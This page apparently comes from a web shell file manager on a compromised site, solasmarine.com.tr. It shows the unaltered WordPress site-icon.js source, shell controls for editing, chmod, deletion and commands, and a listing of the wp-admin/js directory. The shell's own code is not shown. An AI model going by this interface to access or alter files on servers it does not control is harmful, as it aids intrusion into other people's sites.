Submit
Path:
F:
/
Inetpub
/
vhosts
/
solasmarine.com.tr
/
httpdocs
/
wp-admin
/
js
/
File Content:
site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );
Edit
Rename
Chmod
Delete
FILE
DIR
INFO
CMD
Name
Size
Permission
Action
widgets
---
0777
accordion.js
2933bytes
0666
accordion.min.js
758bytes
0666
application-passwords.js
6394bytes
0666
application-passwords.min.js
3024bytes
0666
auth-app.js
5796bytes
0666
auth-app.min.js
2084bytes
0666
code-editor.js
17963bytes
0666
code-editor.min.js
3543bytes
0666
color-picker.js
9768bytes
0666
color-picker.min.js
3486bytes
0666
comment.js
2919bytes
0666
comment.min.js
1315bytes
0666
common.js
62736bytes
0666
common.min.js
23762bytes
0666
custom-background.js
3435bytes
0666
custom-background.min.js
1206bytes
0666
custom-header.js
2023bytes
0666
customize-controls.js
295335bytes
0666
customize-controls.min.js
112322bytes
0666
customize-nav-menus.js
114135bytes
0666
customize-nav-menus.min.js
48272bytes
0666
customize-widgets.js
71727bytes
0666
customize-widgets.min.js
28065bytes
0666
dashboard.js
27666bytes
0666
dashboard.min.js
8862bytes
0666
edit-comments.js
38139bytes
0666
edit-comments.min.js
15515bytes
0666
editor-expand.js
42606bytes
0666
editor-expand.min.js
13451bytes
0666
editor.js
45055bytes
0666
editor.min.js
13085bytes
0666
farbtastic.js
7849bytes
0666
gallery.js
5543bytes
0666
gallery.min.js
3741bytes
0666
image-edit.js
40936bytes
0666
image-edit.min.js
15515bytes
0666
inline-edit-post.js
20685bytes
0666
inline-edit-post.min.js
9613bytes
0666
inline-edit-tax.js
7797bytes
0666
inline-edit-tax.min.js
2997bytes
0666
iris.min.js
23643bytes
0666
language-chooser.js
890bytes
0666
language-chooser.min.js
423bytes
0666
link.js
4873bytes
0666
link.min.js
2319bytes
0666
media-gallery.js
1303bytes
0666
media-gallery.min.js
611bytes
0666
media-upload.js
3465bytes
0666
media-upload.min.js
1152bytes
0666
media.js
6765bytes
0666
media.min.js
2439bytes
0666
nav-menu.js
62617bytes
0666
nav-menu.min.js
30785bytes
0666
password-strength-meter.js
4236bytes
0666
password-strength-meter.min.js
1123bytes
0666
password-toggle.js
1339bytes
0666
password-toggle.min.js
847bytes
0666
plugin-install.js
7086bytes
0666
plugin-install.min.js
2403bytes
0666
post.js
40486bytes
0666
post.min.js
19407bytes
0666
postbox.js
18937bytes
0666
postbox.min.js
6761bytes
0666
privacy-tools.js
10923bytes
0666
privacy-tools.min.js
5154bytes
0666
revisions.js
34729bytes
0666
revisions.min.js
18401bytes
0666
set-post-thumbnail.js
876bytes
0666
set-post-thumbnail.min.js
620bytes
0666
site-health.js
13880bytes
0666
site-health.min.js
6474bytes
0666
site-icon.js
6243bytes
0666
site-icon.min.js
2254bytes
0666
svg-painter.js
3280bytes
0666
svg-painter.min.js
1567bytes
0666
tags-box.js
11140bytes
0666
tags-box.min.js
3077bytes
0666
tags-suggest.js
5771bytes
0666
tags-suggest.min.js
2269bytes
0666
tags.js
6098bytes
0666
tags.min.js
2467bytes
0666
theme-plugin-editor.js
26176bytes
0666
theme-plugin-editor.min.js
12104bytes
0666
theme.js
56263bytes
0666
theme.min.js
27142bytes
0666
updates.js
111999bytes
0666
updates.min.js
48443bytes
0666
user-profile.js
18343bytes
0666
user-profile.min.js
7997bytes
0666
user-suggest.js
2301bytes
0666
user-suggest.min.js
676bytes
0666
widgets.js
23098bytes
0666
widgets.min.js
12609bytes
0666
word-count.js
7696bytes
0666
word-count.min.js
1530bytes
0666
xfn.js
740bytes
0666
xfn.min.js
458bytes
0666